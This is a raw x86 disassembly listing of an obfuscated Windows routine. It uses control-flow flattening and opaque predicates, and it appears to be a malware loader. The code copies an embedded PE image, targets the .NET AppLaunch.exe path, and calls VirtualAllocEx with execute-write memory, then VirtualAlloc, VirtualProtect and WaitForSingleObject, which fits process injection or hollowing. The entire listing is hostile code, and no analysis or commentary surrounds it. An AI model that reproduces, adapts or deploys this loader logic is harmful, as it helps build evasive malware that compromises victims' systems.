mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov eax, 0xfe60bbfc
jmp 0x401c80
mov eax, dword [0x483468]
mov esi, 0xf015f877
mov edi, 0xc089dde6
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xc089dde6
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x483464], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401c80
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 0xc]
mov dword [ebp - 0x144], eax
mov eax, 0xa677a7e3
jmp 0x401c80
mov eax, dword [0x483468]
mov esi, 0xcc4d8396
mov edi, 0x1b2150ab
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1b2150ab
jmp 0x40513e
mov eax, dword [0x483468]
mov edi, 0x895b88d7
mov esi, 0xb138c0ca
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb138c0ca
jmp 0x405337
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, 0x28f33322
jmp 0x401c80
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xf4]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc4]
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0xec]
vzeroupper
call fcn.0043f1e0
add esp, 0xc
mov eax, 0x7f9b578b
jmp 0x401c80
mov eax, 0x89577e42
jmp 0x401c80
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov eax, 0x8acd26e9
jmp 0x401c80
mov eax, 0xa726cc30
jmp 0x401c80
mov eax, dword [ebp - 0x160]
mov ecx, 0xf73208ce
not eax
or eax, 0xfffffffc
cmp eax, 0xffffffff
mov eax, 0x911b887
cmove eax, ecx
jmp 0x401c80
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0x8fc9ead5
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb63dc1ee
jmp 0x4051e2
mov eax, 0x1891bd96
jmp 0x401c80
movzx eax, word [ebp - 0xd6]
mov dword [ebp - 0x13c], eax
mov eax, 0x956c86ec
jmp 0x401c80
mov eax, dword [ebp - 0x1c]
mov esi, 0xd7619795
mov edi, 0xcebe670d
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, dword [0x483468]
setne byte [ebp - 0x6f]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xcebe670d
jmp 0x40513e
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xe8], eax
mov eax, 0x98c07d3d
jmp 0x401c80
mov eax, 0xf83cfa41
jmp 0x401c80
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
push 0x1b600
push 0x45b228
push dword [ebp - 0x88]
vzeroupper
call fcn.0043f1e0
add esp, 0xc
push 0x1b600
push dword [ebp - 0x88]
call fcn.004019f0
add esp, 8
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0x9af4f310
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x5b6142
cmove eax, ecx
jmp 0x401c80
cmp byte [ebp - 0x6b], 0
mov eax, 0x67450298
mov ecx, 0x19b0c4f3
cmovne eax, ecx
jmp 0x401c80
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, 0xb51d82f6
jmp 0x401c80
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x7c]
add eax, dword [ecx]
mov dword [ebp - 0x170], eax
mov eax, 0xe1d77154
jmp 0x401c80
mov eax, dword [0x483468]
mov esi, 0x889494b
mov edi, 0x722ee23a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x722ee23a
jmp 0x40458e
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0xe97b83f
mov edi, 0xc151c1b
jmp 0x404a6c
mov eax, dword [ebp - 0x34]
mov edi, 0xd806019b
mov esi, 0x2b8e8211
mov dword [eax], 4
mov eax, dword [0x483468]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x2b8e8211
jmp 0x401c5f
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xe9dbaa3
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xecf905a
jmp 0x40526a
mov eax, 0x777c96fa
jmp 0x401c80
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, 0x54f2881c
jmp 0x401c80
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c4]
mov dword [eax + 4], ecx
push dword [ebp - 0xa0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x64]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x38e6a4ff
jmp 0x401c80
mov eax, 0x8168803
jmp 0x401c80
mov eax, 0xb41a3dc7
jmp 0x401c80
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x3c]
mov eax, 0xa3b9c6a9
jmp 0x401c80
mov eax, dword [0x483468]
mov edi, 0x299bff5f
mov esi, 0x6f09ad67
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6f09ad67
jmp 0x401c5f
mov eax, 0x6e8e5ef2
jmp 0x401c80
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0x9d4febf7
mov edi, 0x8168803
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
jmp 0x401c80
mov eax, 0xce1f6e97
jmp 0x401c80
mov dword [ebp - 0xc8], 1
mov eax, 0x889494b
jmp 0x401c80
push 0xffffffffffffffff
push dword [ebp - 0x1c8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xc8], 0
mov eax, 0xce1f6e97
jmp 0x401c80
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, 0x65985f1
jmp 0x401c80
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, 0xa0942dbf
jmp 0x401c80
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x24]
mov esi, 0x4e75f567
inc eax
mov dword [ecx], eax
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x43c4bdf7
jmp 0x4051e2
mov eax, dword [ebp - 0xb0]
mov eax, 0xed91bff7
jmp 0x401c80
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, 0x9a501311
jmp 0x401c80
mov eax, dword [ebp - 0x128]
push 0x40
push 0x3000
push dword [ebp - 0x124]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xcc]
mov eax, 0x39ceecdc
jmp 0x401c80
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0xf67223a
jmp 0x401c80
mov eax, 0x1461b9
jmp 0x401c80
mov eax, 0xf5ee641
jmp 0x401c80
push 0x400
push dword [ebp - 0x130]
push dword [ebp - 0x12c]
vzeroupper
call fcn.0043f1e0
add esp, 0xc
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, 0x969535fd
jmp 0x401c80
mov eax, dword [ebp - 0x28]
mov edi, 0x4c9e6ca7
mov esi, 0xba05121f
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, dword [0x483468]
setne byte [ebp - 0x6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xba05121f
jmp 0x401c5f
mov eax, 0xfb0fca
jmp 0x401c80
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0x8c]
mov eax, 0x38b92636
jmp 0x401c80
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0x4aac8854
jmp 0x401c80
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xb8]
vmovups ymm0, ymmword [0x476880]
vmovups ymm1, ymmword [0x476868]
vmovups ymm2, ymmword [0x476848]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x9c]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
add eax, 0x24
mov dword [ecx], eax
mov ecx, 0x38e6a4ff
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xa4]
setne byte [eax]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xa4]
cmp byte [eax], 0
mov eax, 0x634514cb
cmove eax, ecx
jmp 0x401c80
mov eax, dword [ebp - 0x34]
mov eax, 0xfc2ff80a
jmp 0x401c80
push 4
push 0x3000
push dword [ebp - 0x114]
push dword [ebp - 0xdc]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov ecx, 0xc7079bef
mov eax, dword [ebp - 0x48]
cmp dword [eax + 4], 0
mov eax, 0x39ceecdc
cmove eax, ecx
jmp 0x401c80
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 8]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
mov esi, dword [ebp - 0x40]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*8 + 0xc]
mov esi, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x1bc]
mov dword [ebp - 0x1cc], esi
mov esi, dword [0x483470]
lea edi, [esi + 1]
imul edi, esi
mov esi, edi
xor esi, 0xfffffffe
test esi, edi
mov esi, 0x7e255e54
mov edi, 0x7e24e9f3
sete bl
cmp dword [0x48346c], 0xa
setl bh
or bh, bl
mov ebx, 0xa81edd8e
cmovne esi, edi
mov edi, 0x7e255e54
cmovne edi, ebx
mov ebx, 0xa9a078f7
nop word cs:[eax + eax]
cmp ebx, 0x7de47d95
jle 0x404ea0
cmp ebx, 0x7de47d96
je 0x40540d
cmp ebx, 0x7e24e9f3
je 0x404eb4
cmp ebx, 0x7e255e54
jne 0x404e70
mov ebx, 0xa81edd8e
jmp 0x404e70
cmp ebx, 0xa81edd8e
je 0x404ebb
cmp ebx, 0xa9a078f7
jne 0x404e70
mov ebx, edi
jmp 0x404e70
mov ebx, 0x7de47d96
jmp 0x404e70
mov ebx, esi
jmp 0x404e70
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0x868a34b0
setne byte [ebp - 0x70]
jmp 0x401c80
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xf8]
mov eax, 0xe511bae3
jmp 0x401c80
mov eax, dword [ebp - 0x20]
mov dword [eax], 2
mov eax, 0xa01e91ad
jmp 0x401c80
mov eax, dword [ebp - 0x34]
mov esi, 0x87a74753
mov dword [eax], 0x20
mov edx, dword [0x483468]
mov eax, dword [0x483464]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd423aa1b
jmp 0x40526a
mov eax, dword [0x483468]
mov edi, 0x4901abd2
mov esi, 0x43c4bdf7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x43c4bdf7
jmp 0x40533f
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xb747f2ee
mov edi, 0xa3598dc5
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x4c]
jmp 0x404178
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
mov eax, 0x1b600
call fcn.0043c320
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x8c], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xac], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov esi, dword [0x483468]
mov edx, dword [0x483464]
mov edi, 0xf0abb15c
mov ecx, esp
mov dword [ebp - 0x30], ecx
lea eax, [esi + 1]
imul eax, esi
mov esi, 0xe97b83f
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
cmp eax, 0xffffffff
mov eax, esi
cmove eax, edi
cmp edx, 0xa
cmovge eax, esi
jmp 0x401c80
cmp byte [ebp - 0x6a], 0
mov eax, 0xce58050a
mov ecx, 0xe79ad15c
cmovne eax, ecx
jmp 0x401c80
cmp byte [ebp - 0x6c], 0
mov eax, 0x599bd40e
mov ecx, 0x761be09
cmovne eax, ecx
jmp 0x401c80
mov eax, dword [0x483468]
mov esi, 0x54f2881c
mov edi, 0xd99afd63
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd99afd63
jmp 0x40513e
mov eax, 0xd4ab674f
jmp 0x401c80
mov eax, 0x9c0e9bf4
jmp 0x401c80
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ecx], eax
mov eax, 0x1069e10f
jmp 0x401c80
mov eax, dword [ebp - 0x14]
mov esi, 0x8cd24da6
mov edi, 0x17ee3c92
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, dword [0x483468]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x17ee3c92
sete al
cmove ecx, esi
cmp dword [0x483464], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, esi
mov eax, ecx
jmp 0x401c80
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x38]
mov eax, 0x5c143315
jmp 0x401c80
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, 0x49a0ed65
jmp 0x401c80
mov eax, 0x75f17e38
jmp 0x401c80
mov eax, dword [ebp - 0x20]
mov dword [eax], 7
mov eax, 0xba3ac770
jmp 0x401c80
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0x41602751
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x734c12ee
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xb4cf8f1a
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x17ee3c92
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0xb4]
jmp 0x405278
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x9a0311e3
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x84e6238e
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401c80
mov eax, dword [ebp - 0x14]
mov edi, 0xba6b8fa1
mov esi, 0xb747f2ee
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
sub eax, 0xffffff80
mov dword [ebp - 0x178], eax
mov eax, dword [0x483468]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb747f2ee
jmp 0x401c5f
mov eax, 0xd3d7390c
jmp 0x401c80
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, 0x4d20429b
jmp 0x401c80
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0xd1307c99
jmp 0x401c80
mov eax, dword [ebp - 0x138]
mov ecx, 0x2b77f30e
cmp eax, dword [ebp - 0x13c]
mov eax, 0x1b0cc008
cmovl eax, ecx
jmp 0x401c80
mov eax, 0xcda14411
jmp 0x401c80
mov eax, dword [0x483468]
mov edi, 0xa19a3f8d
mov esi, 0xf76a075a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf76a075a
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x483464], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401c80
cmp byte [ebp - 0x6f], 0
mov eax, 0xc54c3e18
mov ecx, 0x3cbeab5a
cmovne eax, ecx
jmp 0x401c80
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0xd695fd3a
jmp 0x401c80
cmp byte [ebp - 0x6e], 0
mov eax, 0x3897c18e
mov ecx, 0xc65d146e
cmovne eax, ecx
jmp 0x401c80
mov eax, 0xa9d48ebd
jmp 0x401c80
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0x734c12ee
mov edi, 0xf1da00ef
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x2c]
cmovge eax, esi
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov dword [ebp - 0x15c], ecx
jmp 0x401c80
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, 0x9a0311e3
jmp 0x401c80
mov dword [ebp - 0x1d0], edx
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d8], ecx
push dword [ebp - 0x1cc]
push dword [ebp - 0x1d0]
push dword [ebp - 0x1d4]
push dword [ebp - 0x1d8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
mov eax, 0xa8297848
jmp 0x401c80
cmp eax, 0xa9d48ebd
jne 0x401c80
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043c310
mov eax, dword [ebp - 0xc8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret